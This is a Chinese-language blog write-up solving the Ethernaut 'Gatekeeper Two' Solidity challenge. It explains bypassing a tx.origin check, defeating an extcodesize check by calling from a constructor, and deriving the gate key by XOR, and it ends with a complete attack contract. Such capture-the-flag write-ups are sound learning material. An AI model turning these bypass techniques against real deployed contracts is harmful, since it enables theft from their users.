14. Gatekeeper Two

跟上一關一樣是通過三個modifier的gate,滿足三個要求。

gateOne:

 require(msg.sender != tx.origin);

只需以另一合約呼叫關卡合約即可,跟13. Gatekeeper One一樣。

gateTwo:

uint x;
assembly { x := extcodesize(caller()) }
require(x == 0);

根據官方文檔

extcodesize(a) size of the code at address a

只要在constructor中呼叫,則code size為零。

gateThree:

require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1);

^ 為Bitwise XOR,因此a^b=c,則a^c=b。

需要msg.sender ^ gateKey = 0-1,則可以msg.sender ^ 0-1求得gateKey。

另外,自Solidity 0.8開始,運算自帶underflow和overflow 檢查。因此,需以unchecked {} 包含運算部份,不然以上運算會造成交易失敗。

打開Remix IDE,新建檔案GatekeeperTwo.sol貼上︰

pragma solidity ^0.8.0;

interface IGatekeeperTwo {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract GatekeeperTwo {
    address levelInstance;
    
    constructor(address _levelInstance) {
      levelInstance = _levelInstance;
      unchecked{
          bytes8 key = bytes8(uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ uint64(0) - 1  );
          IGatekeeperTwo(levelInstance).enter(key);
      }
    }
}

然後發送,呼叫成功。最後按提交,本關完成。

發表留言

%d 位部落客按了讚: